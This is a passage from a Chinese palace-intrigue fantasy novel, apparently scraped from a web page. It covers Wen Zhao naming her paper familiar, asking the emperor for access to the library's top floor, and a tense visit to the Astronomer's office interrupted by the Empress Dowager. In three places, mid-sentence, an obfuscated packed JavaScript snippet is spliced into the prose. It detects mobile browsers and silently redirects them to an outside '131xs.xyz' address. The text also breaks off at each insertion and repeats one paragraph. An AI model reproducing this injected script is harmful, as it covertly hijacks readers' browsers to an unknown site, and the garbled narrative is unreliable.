他捏着这个彻底“死掉”的小玩意儿,沉默了两秒。死物不可怕,可怕的是活物突然在你眼前死了,尤其还是被你一手撕残的。 他干咳一声,拎着纸人走到窗边,推开一条缝。冷风灌入。 “咳…那个…意外。”阮时逢对着手里毫无生气的纸片,语气有点生硬,“回去告诉你主人…信本座收到了…还有…”他顿了顿,似乎在斟酌措辞,“…这纸…质量不太行。下次换厚点的?” 话音未落,他手一松。 纸人如一片真正的垃圾,被风卷着飘了下去。 就在它即将消失在宫墙阴影里的瞬间,那两点红光“噗”地一下,如同回光返照般,猛地亮了起来,微弱但顽强。紧接着,那条一直软塌塌垂着的断臂,竟也极其轻微地、抽搐般地抖动了一下。 仿佛在用尽最后一丝力气表达无声的控诉:“你!说!谁!质!量!差!” 下一秒,红光彻底熄灭,纸人消失在阴影深处,消失得比良心还快。 阮时逢僵在窗边,维持着松手的姿势,半晌没动。冷风吹动他额前的碎发。 “和你主人一样的暴脾气……”他低低嘀咕了一句,随后轻轻关上了窗。 对于阮柿子这种“猫猫拆家”行为,小纸人回去之后加油添醋的给温招比划了一通。 小纸人瘫在温招掌心,断臂软塌塌垂着,头颅两点红光微弱得像风中残烛,却执拗地闪烁,传递着无声的控诉和委屈。那副“惨状”活灵活现。 温招垂眸听着,指尖拂过纸人撕裂的臂膀边缘。当听到“质量差”三个字时,她清冷的眉梢几不可察地动了一下。 “嗯。”她淡淡应了一声,算是听完了小纸人的“血泪史”。她没评价阮时逢,只是伸出食指,指尖在发间那支素簪尾端极其迅捷地一划。 一滴鲜红的血珠沁出,饱满欲坠。 温招没有犹豫,指尖精准地按在纸人断臂的撕裂处。血珠瞬间没入土褐色的纸片,如同被饥渴的沙地吸收。 纸人似乎瑟缩了一下,两点红光急促地明灭,像是在经历某种痛楚。 温招指尖沉稳,顺着撕裂的轨迹缓慢移动。血线在她指尖下延伸,如同活物般渗入纸片纤维,勾勒出断裂的轮廓。那暗红的微光再次从纸人内部透出,沿着血线流淌,比之前更亮,带着一种奇异的修复力量。 撕裂的纸片边缘在血光中软化、贴合。断臂处,原本撕裂的痕迹迅速弥合,被血线染成一道暗红的“疤痕”,最终凝固,与纸人身躯融为一体。 温招收回手,指腹的血口已然消失,只余下一点微不可察的痕迹。 她拈起修复好的纸人,放在眼前审视。 纸人那条断臂重新长了出来,虽然多了一道暗红的疤痕,但活动如常。它试探性地屈伸了一下新的纸臂,动作灵活,再无滞涩。两点红光骤然爆亮,如同充饱了电,在温招指尖耀武扬威般闪烁起来。 温招唇角似乎极其轻微地向上牵动了一下,快得如同错觉。 “好了……别委屈了。”她声音依旧平静,听不出情绪,“下次若再遇见他…”她顿了顿,指尖轻轻弹了一下纸人那点着红光的头颅,“…绕开走你,绕不开就回来找我,我去帮你教训他。” 纸人红光闪烁,像是听懂了,又像是纯粹的能量充盈。它用修复好的纸臂,报复性地、轻轻地撞了一下温招拈着它的手指,这才心满意足地安静下来,红光稳定,一副满血复活的嚣张模样。 温招看着掌心红光嚣张、一副“老子又行了”架势的小纸人,轻轻在它那道暗红疤痕上轻轻摩挲了一下。那疤痕是她的血凝成,带着她的气息。 纸人安静下来,红光稳定,像个等待指令的士兵。 “总不能一直叫你‘喂’。”温招的声音在空寂的殿内响起,没什么情绪起伏,像在陈述一个事实,“既是我点化的……” 温招的目光掠过纸人那道暗红疤痕,掠过它嚣张的红光,思绪却飘向了司天监那张总带着点欠揍神情的脸。既然这小东西和阮时逢如此“有缘”…… “唤你春春可好?”她声音平淡,仿佛随口一提。 纸人:“……?” 它头颅的两点红光骤然凝滞,像是被这突如其来的名字砸懵了。红光僵硬地闪烁了两下,透出一股难以置信的茫然。 温招仿佛没看见它的反应,指尖点了点它的小脑袋,语气依旧平淡:“好了,春春。去玩吧。” 纸人终于反应过来。 它猛地从温招掌心弹起来。两点红光瞬间爆亮,激烈闪烁,几乎要跳出纸片头颅。那条带着暗红疤痕的纸臂愤怒地挥舞着,指向温招,又指向窗外司天监的方向,整个纸躯都在表达无声的、强烈的抗议: 不!要!和!那!个!混!蛋!扯!上!关!系! 它甚至试图用那条新生的、带着温招血痕的胳膊去拍打她的手指,动作激烈得几乎要把自己再次晃散架。 温招面无表情,任由它在指尖蹦跶。等它抗议得红光都开始不稳,她才伸出食指,带着不容置疑的力量,轻轻按在它激烈闪烁的“额头”上。 红光被强行压回稳定状态。 “就这么定了。”温招收回手,语气毫无波澜,“春春。” 纸人或者说新得名“春春”的小东西,僵在她掌心,红光幽幽地“瞪”着她,透着一股生无可恋的悲愤。 温招指尖点了点它的小脑袋,补充道:“你还会古诗呢……小春春,没看出来啊,文化人啊。” 温招指尖点在春春的小脑袋上,那句“小春春”说得平淡,却像根小刺,精准扎在纸人那点可怜的自尊上。 春春的红光猛地一滞,随即爆发出更激烈的闪烁!那条暗红疤痕的纸臂疯狂挥舞,几乎要在空中划出火星!无声的呐喊在红光里炸开: 谁!要!叫!春!春! 它整个纸躯气得簌簌发抖,红光乱跳,一副随时要自燃以明志的架势。 温招看着它这气急败坏的模样,清冷的眼底极快地掠过一丝几乎看不见的促狭。她唇角似乎极其微弱地向上抬了一下,瞬间又归于平静。 “好了。”她声音依旧没什么起伏,却带着一丝不易察觉的、打发闹脾气小孩的意味,“名字已定。春春,玩去吧。” 她指尖轻轻一弹。 春春被她弹得在掌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尾音还在梁柱间荡着,龙椅上的常青已缓缓抬手,明黄的龙袍袖口扫过冰凉的扶手上,十二章纹在殿角漏进的天光里泛着沉敛的光。 他没看阶下躬身的群臣,目光落向殿外那株半枯的古柏,指节在紫檀木扶手上轻轻叩了两下。 “陛下起驾---” 又一声唱喏,万公公躬着身上前,小心翼翼地扶住常青的手肘。龙靴踩在金砖上,发出沉闷的回响,与阶下百官“吾皇万岁”的山呼声交叠在一起。 他步子不快,玄色的裙摆扫过地面时,带起微不可察的尘埃,像是要将这殿内半日的纷扰都一并卷走。 到了殿门处,他忽然顿住脚,回头瞥了眼仍躬身未起的人群,目光落在温韫的脸上,温韫是温招同父异母的弟弟,自从温招生母走后,温应寒便又娶了一平民女子柳翠,听闻这女子无才无德,却恰巧与温招的生母殷姚八字相同,只是殷姚与刘翠的身世可谓是天差地别。 殷姚是温应寒明媒正娶回来的温夫人,当年亦有传闻说温应寒婚后与那柳姓女子暗通款曲,是真是假,不得而知。柳翠嫁入温府不久便有了身孕,第一胎便是男孩,温应寒狂喜,竟不顾殷姚的头七,便提了柳翠的位子,成了正夫人,而这温韫的位子便成子嫡长子。 借着温招入宫得宠,温应寒便借着人脉给温韫安排了一个九品官员的闲职,一时间温韫也是过的风生水起,温招的朝阳命也好,入宫得宠也好,好像温招的一生都是为了给这小子铺路一样。 常青皱了皱眉,喉间溢出一声极轻的冷哼,旋即转身,明黄的背影很快消失在宫墙的阴影里,只留下那道“退朝”的余音,还在空荡的殿宇间慢慢消散。 23.023 常青步出金龙殿,明黄的身影被宫墙拉长。万公公落后半步跟着,垂着眼,脸上如同戴着一副冰铸的面具,恭敬却毫无暖意。 “去养心殿。”常青声音不高,带着惯常的温和,像拂过湖面的风,听不出情绪。 “是。”万公公应声,语调平直无波。 两人穿过宫道,靴底踏在青石上,发出单调的回响。宫墙高耸,将天空切割成狭长的一线,透下些微天光。 常青步履从容,目光掠过宫檐下悬挂的风铃,它们纹丝不动。这深宫,有时静的连风都绕道走。 刚绕过回廊,远远便见养心殿前立着两道身影。温招一身素净宫装,立在阶下,身姿如松竹。魑惊捧着食盒,垂首站在她身后,带着点藏不住的紧张。 常青脚步微不可察地顿了一瞬。万公公却似早有预料,唇角甚至挂起一丝极淡的笑意,那笑意未达眼底,如同画上去的一般。 温招屈膝行礼,声音清冷:“臣妾参见陛下。” 常青已走到近前,脸上是恰到好处的温和笑容,仿佛只是偶然遇见。“爱妃免礼。”他虚虚抬手,目光落在温招脸上,又很快移开,扫过魑惊手中的食盒,“爱妃这是?” 温招直起身,目光平静地迎上常青的视线,没有半分寻常妃嫔面圣时的娇怯或热络。“听闻陛下操劳,备了些糕点。”她语气平淡,像是在陈述一件与己无关的公事,“栗子酥,桂花糕。” 魑惊连忙将食盒捧高了些。 常青看着那食盒,又看看温招清冷得不带烟火气的脸,眼底深处掠过一丝极淡的、难以捕捉的情绪。他嘴角的笑意似乎加深了些,温声道:“爱妃有心了。 ”他顿了顿,目光重新回到温招身上,带着点询问,“只是……爱妃特意在此等候,想必不止是为了送几块点心?” 万公公垂着眼睑,嘴角那点冰冷的弧度似乎又加深了半分。他像个站在戏台阴影里的看客。 温招直视着常青,没有任何迂回。“是。臣妾有事,想请陛下移步一叙。” 常青看着她,脸上的温和笑意未变,但眼神深处,那点温和的湖面下,似乎有什么东西无声地沉了下去。 他点了点头,语气依旧和煦如春风:“好。爱妃随朕来。” 他率先转身,朝养心殿走去。万公公立刻侧身让开道路,目光在温招毫无波澜的脸上飞快扫过,随即又垂下,恢复了那副冰冷的恭敬。 温招抬步跟上,步履沉稳。魑惊抱着食盒,有些茫然地看看主子的背影,又看看皇帝,赶紧小跑着跟上。 养心殿沉重的殿门在几人身后缓缓合拢,隔绝了外面最后一线天光。殿内燃着上好的沉水香,气息沉静,却压不住那份悄然弥漫开的对峙。 养心殿内,沉水香的气息沉甸甸地压着。常青在书案后坐下,姿态随意,那份温和的笑意依旧挂在脸上,像是长上去的面具。万公公无声无息地侍立在阴影里,如同一道冰冷的剪影。 “爱妃有事,但说无妨。”常青开口,声音温和依旧,目光落在温招身上,带着一种专注的、仿佛只倾听她一人的错觉。 魑惊将食盒小心地放在一旁的矮几上,垂手退到温招身后,大气不敢出。 温招站着,没有坐下的意思。她身形笔直,目光清亮,像一把出鞘的剑,在这暖香浮动的殿宇里显得格格不入。 “臣妾确有一事相求。”她声音清晰,没有任何铺垫,“请陛下开恩,准臣妾去藏书阁顶楼抄书静心。” 殿内骤然安静了一瞬。沉水香袅袅升起的烟线似乎都凝滞了片刻。 常青脸上的温和笑意像是被什么无形的东西轻轻刮了一下,纹丝未动,却显得更透了些。他搁在书案上的手指极其轻微地蜷缩了一下,又迅速松开。 藏书阁顶楼。 那地方锁着前朝秘录,禁术残篇,还有一些连他这个皇帝都未必愿意轻易触碰的旧事。后妃?那是绝对的禁区。 温招静静站着,目光清亮,坦然地迎着他的审视。她的请求像一块棱角分明的石头,突兀地砸进这浮着暖香的池水里,不容忽视,也毫无转圜的余地。 她没说抄什么书,也没说为什么要去那里静心。她只是直白地要一个结果。 常青看着她。她站在那儿,像一株生在悬崖边的孤竹,根系扎在险处,枝叶却向着风霜舒展。她似乎从不屑于掩饰,也不懂得畏惧。这份近乎莽撞的直白,恰恰是他深宫里最难寻的东西。 他心底掠过无数念头。她想去查什么?她是否知道那里封存着什么?亦或……她只是单纯想找个最清净的地方? 猜不透。常青第一次清晰地意识到,自己竟完全摸不清眼前这个名义上属于他的女人的心思。这感觉陌生又……带着一丝危险的吸引力。 万公公在阴影里垂着眼,如同泥塑木雕,但常青能感觉到,万公公看似平静的呼吸下,绷紧了一丝极细微的弦。 养心殿里静得能听见香灰落下的声音。魑惊连呼吸都放轻了,手指紧张地绞着衣角。 常青忽然笑了。那笑容仿佛春风化冻,瞬间驱散了方才那点凝滞的空气。他身体微微前倾,语气温和得如同在答应一件微不足道的小事: “爱妃想抄书静心,自然是好的。顶楼清静,视野开阔,确是个好去处。”他话语流畅,仿佛在谈论御花园的某处亭台,“朕准了。” 温招眼底似乎有什么极快的东西掠过,快得让人抓不住是意外还是了然。她屈膝:“谢陛下恩典。” “不过,”常青话锋一转,声音依旧和煦,“顶楼尘封已久,恐有虫鼠,也怕惊了爱妃。这样吧,”他转向阴影,“万福。” 万公公无声地踏前半步,躬身:“老奴在。” “你亲自带人,今日便将顶楼清扫出来,务必干净稳妥。再挑两个稳妥的内侍守在楼梯口,良妃若有什么吩咐,即刻照办,不得有误。” 常青吩咐得滴水不漏,目光重新落回温招脸上,带着点恰到好处的关切,“爱妃觉得如何?” 温招面色平静:“陛下安排周全。” “嗯。”常青满意地点点头,仿佛解决了一件令人愉悦的小事。他挥挥手,姿态重新放松下来,“好了,爱妃所求,朕已应允。可还有别事?” 温招微微摇头:“无事了。臣妾告退。” 她转身,动作干脆利落,没有一丝留恋。魑惊连忙跟上。 常青的目光一直追随着那道素净清冷的背影,直到殿门在她身后合拢,隔绝了视线。他脸上的笑容如同退潮般缓缓消失,最终只剩下一种深潭般的平静。 殿内再次只剩下他和万公公。 沉水香的气息重新弥漫开,却压不住方才那短暂对峙留下的、无声的硝烟味。 万公公这才缓缓直起身,脸上那副冰铸的面具纹丝不动,声音平直无波:“陛下,顶楼的东西……” 常青抬手,打断了他。他身体向后靠在椅背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053468|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,闭上了眼睛。 “她要什么,只要朕有,给她便是。”常青的声音很轻,像是在自言自语,又像是某种不容置疑的宣告。 万公公沉默了片刻,终究只是躬身:“老奴明白。这就去安排清扫。” 常青闭着眼,没再说话。殿内只有香炉里细微的噼啪声。 “呵……”常青突然鼻间哼笑了一声,似是自嘲,似是无奈,“万福,你说,温良妃爱朕吗” 万公公沉默了片刻。殿内沉水香的气息沉得压人,香灰簌簌落下一点细响。 他垂着眼,声音平直无波,像在陈述一个与己无关的天气:“陛下,良妃娘娘心思澄澈,行事有度,待陛下……恭敬有礼。” 这话答得滴水不漏,却也空无一物。恭敬有礼,不是爱。 常青闭着眼靠在椅背上,脸上没什么表情,方才那点自嘲的哼笑仿佛只是错觉。万公公的话像一颗小石子投入深潭,连涟漪都吝于泛起。 “恭敬有礼……”常青低声重复了一遍,嘴角似乎想扯动一下,终究归于平静的线条。他依旧闭着眼,“是啊。她待朕,从来只是恭敬有礼。” 这话轻飘飘的,却带着一种沉甸甸的疲惫。像一个跋涉太久的人,终于看清了前方永无绿洲的荒漠。 “她心里装的东西,似乎很多,又似乎……”常青顿了顿,声音更低了些,几近自语,“……空得很。唯独没有朕的位置。” 万公公垂手侍立,如同殿内一根冰冷的柱子,不再接话。有些话,皇帝能说,他不能说。有些答案,皇帝心里清楚,只是需要一个影子来印证那份清醒的痛楚。 从他幼时他便知晓,温府有一女,生来身负朝阳命格,日后定会入宫成为下一任帝王的宠妃,只是他没想到,他常青作为荣华所生的皇子,竟会得父皇青眼,最终成为了新一任帝王。 也没想到,在传闻中的那命朝阳女会成为自己的枕边人,更没想到,温招与其他嫔妃不同,这女子好像从来不在乎名利和富贵,她在想什么,他好像永远猜不到。 当然,他也不了解她,可她是他命定的妻,父皇从立他为太子之后,便日夜嘱咐,日后定要格外关注温招,可现在看来他的妻好像并不爱他。 常青缓缓睁开眼,目光落在殿顶繁复的藻井上,那上面描金绘彩,富丽堂皇,却透着一股子冰冷的距离感。他看了许久,久到香炉里的香灰又积了一层。 “万福,”他忽然开口,声音恢复了惯常的温和,仿佛刚才那瞬间的疲惫和失落从未存在,“你说,她的心……到底在谁身上?” 这话问得轻巧,却像一把无形的锥子。万公公身形纹丝不动,脸上冰铸的面具依旧,只有眼睫极其细微地颤动了一下。 “老奴……不知。”他答得谨慎,声音平得像尺子量过,“良妃娘娘心思难测,非奴才能窥探。” 常青没再追问。他收回目光,指尖在光滑的紫檀木书案边缘轻轻划过。那上面似乎还残留着方才温招站立时带来的、一丝清冷的气息。 “不知……也好。”常青淡淡说了一句,听不出情绪。他重新拿起一份奏折,目光落在字迹上,却像穿透了纸张,望向某个不可及之处。 殿内再次陷入沉寂,只有沉水香无声地燃烧,将帝王的孤寂与清醒一同包裹在沉静的暖香里。万公公的影子投在地上,拉得很长,像一道凝固的墨痕。常青知道,有些问题本就不该问出口,因为答案,往往比未知更伤人。 24.024 万诡门曾有一术,名为离魂血雾引。“离魂者,以血雾为引,游于虚空之中,其者不可见得。” 温招迈出了养心殿直奔潮阁,潮阁乃皇家史书存放之处,记载着天下大事,而潮阁又紧挨着司天监,正巧去问问阮时逢可否知晓当年林府之事。 她素色宫装在暮色渐沉的宫道上掠过,带起一丝微凉的风。魑惊抱着空食盒,小跑着才能勉强跟上,脸上带着点茫然,不明白主子刚得了陛下的恩典,为何不直接去藏书阁,反而折向另一个方向。 潮阁的飞檐在重重宫阙后显露出来,与司天监那座观星的高楼比邻而立,像两个沉默的守卫,守着皇家尘封的记忆与窥探天机的秘密。 温招的目光扫过司天监紧闭的朱漆大门,她轻叩三声。 “咚…咚…咚…”三声过后,大门缓缓打开,随之而来的是一阵抱怨声。 来人是破军,此刻的破军一脸睡眼惺忪,正揉着眼睛,“何人大清早便来司天监啊?没听说过我家大人……”抱怨的话说了一半,他定眼看清了眼前人把剩下的话连忙咽了下去。 他虽没见过温招本人的面貌,却在民间的画卷上见识过这位大钰第一美人的容貌。但此刻他第一次真真切切看清了温招的容貌时,那画卷上还是画的收敛,眼前的女子冷艳又清纯,精致的五官让人挑不出一丝毛病。 突然,他想起来自从上次阮时逢让他查查这位良妃娘娘,他便出了宫一边查证一边游山玩水,好不自在,看见温招他才想起来,他忘把收集的证据交给自家大人了! “属下破军!参见娘娘!”破军求生欲拉满,这次定然是要挨罚了,赶紧讨好讨好这位娘娘,说不定温招跟阮时逢说两句自己的好话,阮时逢能消消气…… 温招站在司天监门外,素净宫装衬得她面容愈发清冷。她看着破军瞬间清醒又慌乱的样子,眼神没什么波澜,只淡淡开口:“国师大人在否?” 破军连忙侧身让开,动作带着点不易察觉的慌张:“娘娘您先在侧殿稍等片刻,属下这就去叫大人起卧。” 温招没多言,微微颔首,步履无声地踏入司天监的门槛。门内光线比外面更暗,带着司天监特有的清冷气息,混合着陈旧书卷与某种难以言喻的、类似星辰尘埃的味道。 魑惊抱着食盒,亦步亦趋地跟在她身后,好奇又紧张地打量着四周。这地方和皇宫其他地方很不一样,少了浮华,多了肃穆。 破军引着她们穿过一条不长的回廊,推开侧殿的门。殿内陈设简洁,几张酸枝木椅围着一张方几,壁上挂着几幅巨大的星图,线条繁复,如同凝固的夜空。空气里浮动着细微的尘埃,在从高窗斜射进来的暮光中飞舞。 “娘娘您稍坐。”破军飞快地扫了一眼温招平静无波的侧脸,心里那点因为遗忘调查而滋生的不安愈发强烈,他匆匆行了一礼,“属下告退。” 脚步声急促地消失在回廊深处。 侧殿陷入短暂的寂静。只有窗外暮色流淌的声音,和殿内尘埃无声沉浮的轨迹。 温招没有坐。她站在一幅巨大的星图前,目光落在那些交织的银线上,像是在寻找什么,又像是穿透了这纸上的星辰,望向更不可知的深处。她的侧影在昏黄的光线里,像一尊沉静的玉雕。 魑惊安静地站在她身后几步远的地方,大气不敢出,只觉得这地方比养心殿还要让人屏息。 破军几乎是扑到阮时逢卧房门口的。他深吸一口气,抬手想敲门,又猛地顿住,脸上表情挣扎得像吞了黄连。最后,他把心一横,指关节轻轻叩在门板上,声音压得比蚊子哼哼还低:“大人……大人?您醒着吗?” 里面毫无动静,连呼吸声都听不见,仿佛里面睡着的不是个人,而是块石头。 破军额角冒汗,又提高了一点点音量:“大人?日头……日头偏西了。”这理由他自己都觉得荒谬。 回应他的依旧是一片死寂。 破军绝望地闭了闭眼。他知道阮时逢那猫似的脾气,起床气上来能掀了司天监的屋顶。可外面那位娘娘……他更惹不起。他心一横,猛地推开了房门! 卧房内光线昏暗,陈设简单。最显眼的就是那张宽大的床榻,锦被隆起一团。破军蹑手蹑脚挪过去,小心翼翼凑近那团“锦被山”。 “大人?”他声音抖了抖。 那团被子纹丝不动。 破军壮着胆子,伸手轻轻去掀被子一角。指尖刚碰到冰凉滑腻的锦缎,被子里猛地伸出一只骨节分明的手,快如闪电,精准地“啪”一声拍在他手背上! 力道不大,但清脆响亮,带着十足的不满。 “滚。”被子里传出一个闷闷的、带着浓重睡意的声音,沙哑又含糊,像刚舔了毛的猫被强行吵醒。 破军手背火辣辣的,差点跳起来,但他强忍着,哭丧着脸:“大人!真不是小的扰您清梦!是……是温良妃娘娘来了!就在侧殿候着呢!” “锦被山”猛地一僵。 下一秒,那团被子像被无形的线猛地掀开!阮时逢整个人从里面弹坐起来,动作快得带起一阵风。 他头发睡得乱糟糟,几缕呆毛桀骜不驯地翘着,脸上还带着枕头压出的红印子,一双眼睛却已完全睁开,清澈透亮,哪里还有半分睡意。 只是那眼神带着点刚睡醒的茫然,直勾勾地盯着破军,仿佛在消化刚才听到的话。 “谁?”他声音清晰了些,带着点刚睡醒的微哑。 “温良妃娘娘!温招!”破军赶紧重复,声音都劈了叉。 阮时逢那双漂亮的桃花眼眨了一下,又眨了一下。 他抬手胡乱耙了两下自己乱翘的头发,动作带着点猫洗脸的利落感。 “她来干什么?”他问,语气恢复了平时的清朗,还带着点好奇。 破军哪知道温招来干什么,他连自己该汇报的事都忘了,只能硬着头皮摇头:“娘娘没说……只说找您。” 阮时逢掀开被子,赤脚踩在冰凉的地板上,几步蹿到衣架旁,一把扯下搭着的玄色外袍,动作行云流水,边往身上套边对破军吩咐,语气轻快: “愣着干什么?,快随本座去见她。”他顿了顿,又补充一句,声音带着点刚睡醒的慵懒,却莫名清晰,“诶……等本座一下。” 镜子里映出一张还带着睡痕的脸,头发乱得能孵鸟。他啧了一声,随手抓起案上不知谁放着的半杯冷茶,胡乱往翘得最嚣张的几缕呆毛上抹了抹,试图把它们按下去。水珠顺着他光洁的额角滑下来,他也顾不上擦,又对着镜子龇牙咧嘴扒拉了两下眼皮,确保自己看起来至少……像个清醒的人。 “行了行了,走吧!”他招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058830|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼破军,语气带着点故作镇定的急促,抬脚又要往外冲。 “大人!”破军眼疾手快,一把捞起地上的靴子追上去,“鞋!您的鞋!” 阮时逢这才低头,仿佛刚发现自己还光着脚。他“哦”了一声,单脚跳着,任由破军手忙脚乱帮他把靴子套上。 好不容易靴子穿好,阮时逢胡乱系了下腰间松垮的带子,深吸一口气,换上平日里那副玩世不恭的表情,迈开长腿朝侧殿走去。只是那步伐,依旧比平时快了几分。 侧殿门开着,暮光斜斜铺进门槛。 温招依旧站在那幅巨大的星图前,身形笔直,侧影被昏黄的光线勾勒出一道清冷的剪影。 她似乎连姿势都没变过,像一尊早已在此伫立千年的玉像,时光和尘埃都绕着她走。只有殿内无声浮动的微尘,证明时间并非凝固。 脚步声由远及近,带着点刻意的放轻,却又藏不住主人那点风风火火的气息。 温招缓缓转过身。 阮时逢恰好一脚踏进殿门。 侧殿门开着,暮光斜斜铺进门槛。 温招依旧站在那幅巨大的星图前,身形笔直,侧影被昏黄的光线勾勒出一道清冷的剪影。她似乎连姿势都没变过,像一尊早已在此伫立千年的玉像,时光和尘埃都绕着她走。只有殿内无声浮动的微尘,证明时间并非凝固。 脚步声由远及近,带着点刻意的放轻,却又藏不住主人那点风风火火的气息。 温招缓缓转过身。 阮时逢恰好一脚踏进殿门。 殿内昏黄的光线仿佛瞬间凝滞。 温招的目光,清凌凌的,像初春化雪时最冷的那道山泉,精准地投了过来。 阮时逢的脚步硬生生钉在原地,脸上那副出门前匆忙挂起的玩世不恭面具,还没来得及戴稳,就猝不及防撞上了这道视线。 她看着他。 目光平静无波,却像带着实质的穿透力,将他此刻的狼狈,那几缕被冷茶勉强压服却依旧倔强支棱的湿发,脸上未褪尽的睡痕,还有衣襟处匆忙系上却明显歪斜的带子,一丝不落地尽收眼底。 阮时逢感觉自己的呼吸似乎停了一瞬。那双总是含着戏谑或懒散的桃花眼,此刻清晰地映出温招的身影。 瞳孔深处有什么东西极快地收缩了一下,像是沉寂的湖底被投入了一颗石子,惊起细微的涟漪,又迅速被强行压下。 他喉结无意识地滚动了一下,想扯出个惯常的笑容,却发现嘴角有点僵硬。 时间在无声的对视中拉长,每一粒飞舞的尘埃都仿佛有了重量。空气里只剩下一种无声的、微妙的凝滞,像绷紧的弦。 站在阮时逢身后的破军,大气不敢出,眼睛瞪得溜圆,看看自家大人明显僵住的背影,又偷偷瞄一眼温招那张清冷得不沾烟火气的脸,只觉得头皮发麻。 他下意识地捂住了自己的嘴,生怕发出一点不该有的声音,打破了这沉寂中暗藏惊雷的局面。 温招的目光在阮时逢脸上停留了片刻,那目光平静得像在审视一件物品,最终,极其细微地,在他衣领处一道明显的褶皱上顿了一瞬,才缓缓移开,落回他眼中。 她微微颔首,声音清泠泠地响起,打破了这短暂的凝固: “国师大人。可否带本宫进潮阁一趟?” 25.025 正当阮时逢想开口时,一声尖利得刺破空气的唱喏,如同淬了冰的刀子,猛地扎进司天监这方沉滞的空气里: “太后驾到-----!” 声音带着太监特有的阴冷穿透力,瞬间撕碎了侧殿内无声的对峙。 阮时逢眉心几不可察地一蹙,眼底飞快掠过一丝被打断的不悦,快得像流星划过夜空。他几乎是下意识地侧身一步,不着痕迹地挡在了温招斜前方半步的位置,动作自然得如同本能。 魑惊身形一抖,手里的空食盒差点脱手,她死死抱住盒子,惊恐地望向殿外,又飞快地看向自家主子。 反观破军则是不以为意的看了魑惊一眼,随后望向门外。 沉重的脚步声伴随着环佩叮当的脆响,由远及近,带着一种不容置疑的威压。殿门口的光线被一道雍容华贵的身影挡住。 长孙懿一身繁复的宫装,金线在暮色里也闪着冷硬的光。她保养得宜的脸上看不出具体年岁,唯有一双眼睛,锐利如鹰隼,扫过殿内众人,最终,如同寒冰凝结,牢牢钉在温招身上。 那目光带着审视,带着毫不掩饰的冰冷疏离,仿佛在看一件不该出现在此处的器物。 长孙懿的目光在温招脸上停了片刻,忽然扯了扯唇角,那笑意没到眼底,倒像结了层薄冰。 “哀家竟不知,司天监竟成了谁都能进来的地方了。”她开口,声音不高,却带着不容置喙的分量目光扫过阮时逢挡在前面的背影,似有若无地顿了顿。 温招挑了挑眉,看来这长孙懿是诚心来找事的,温招屈膝,动作不疾不徐,裙摆扫过地面带起微尘。“回太后,臣妾前来司天监为民祈福。” 长孙懿闻言笑声轻得像风刮过冰面。 “祈福?”她重复这两个字,指尖捻着袖口的玉扣转了半圈。“这天下的福气就这么多,良妃你占了别人怎么办?” 话音落时,空气里的威压重了三分。 阮时逢往前半步。“太后明鉴,司天监的香火本就为天下人燃,良妃娘娘心诚,何错之有?” 长孙懿的目光终于从温招脸上移开,落在阮时逢身上。 那眼神锐利依旧,却多了几分审视的意味。她唇角那点薄冰似的笑意深了些:“阮大人倒是会说话。心诚自然是好,只是……” 她话锋一转,声音陡然沉了半分,如同冰面下暗涌的寒流,“这心诚之人若总是独占了天眷,叫旁人连一丝星辉都沾不得,岂不是让这满天星辰,也显得偏私了?” 这话如同淬毒的针,裹着“福气”“天眷”的锦绣外衣,直指温招独得圣宠的事实。殿内空气瞬间又冷了几分。 温招依旧保持着屈膝的姿态,仿佛没听出那话里的机锋。 她心里却暗自冷笑,还以为长孙懿为了什么而来,原来是指责她独得圣宠,自己儿子管不好,还管到她温招头上来了。 况且,温招记得没错的话,宫中有一位长孙贵妃,长孙苒应当是长孙懿的亲侄女,入宫许久,却因长孙懿与常青关系紧张而从未得到恩宠,眼下温招实在过于显眼,长孙懿一方面是想让常青关注长孙苒,另一方面也是想敲打敲打温招,再者她笃定温招会向常青告状,从而旁敲侧击的向常青示威。 好一个一石三鸟。 她缓缓直起身,目光平静地迎上太后审视的视线,声音清冷得如同玉石相击: “太后娘娘此言差矣。星辰运行,自有其道,非人力可独占。福泽如雨,普降众生,亦非一隅可私藏。” 她微微侧首,目光似乎不经意地掠过壁上那些繁复的星图,又落回太后脸上,语气平淡无波,却字字清晰。 “臣妾所求,不过是为一方黎庶祈愿,愿风调雨顺,国泰民安。此心若诚,天意自明。若天意真有偏私……那也非臣妾所能左右,更非言语所能撼动。” 她的话音落下,殿内静得能听见尘埃落地的声音。 没有辩解,没有委屈,甚至没有一丝烟火气。她只是平静地陈述着一个“道理”,天意自有其运行法则,非后宫妇人可以置喙。 说直白点便是:天意若真有偏私,那也是天意,你长孙懿,又能如何?最后那句“非言语所能撼动”,更是绵里藏针,暗讽太后此刻的敲打,不过是徒劳。 长孙懿脸上的薄冰瞬间裂开一丝缝隙。她捻着玉扣的指尖微微发紧。 温招这番话,看似恭顺,实则句句顶在她最无力也最忌惮的地方,天命,帝王心。 尤其是最后那句,几乎是在明晃晃地说:你儿子愿意宠谁,那是你儿子的事,你有本事,去管你儿子。 一股冰冷的怒意从她眼底深处窜起,又被强行压下。她保养得宜的脸上依旧维持着雍容,只是那雍容之下,透出一股子刀锋般的寒意。 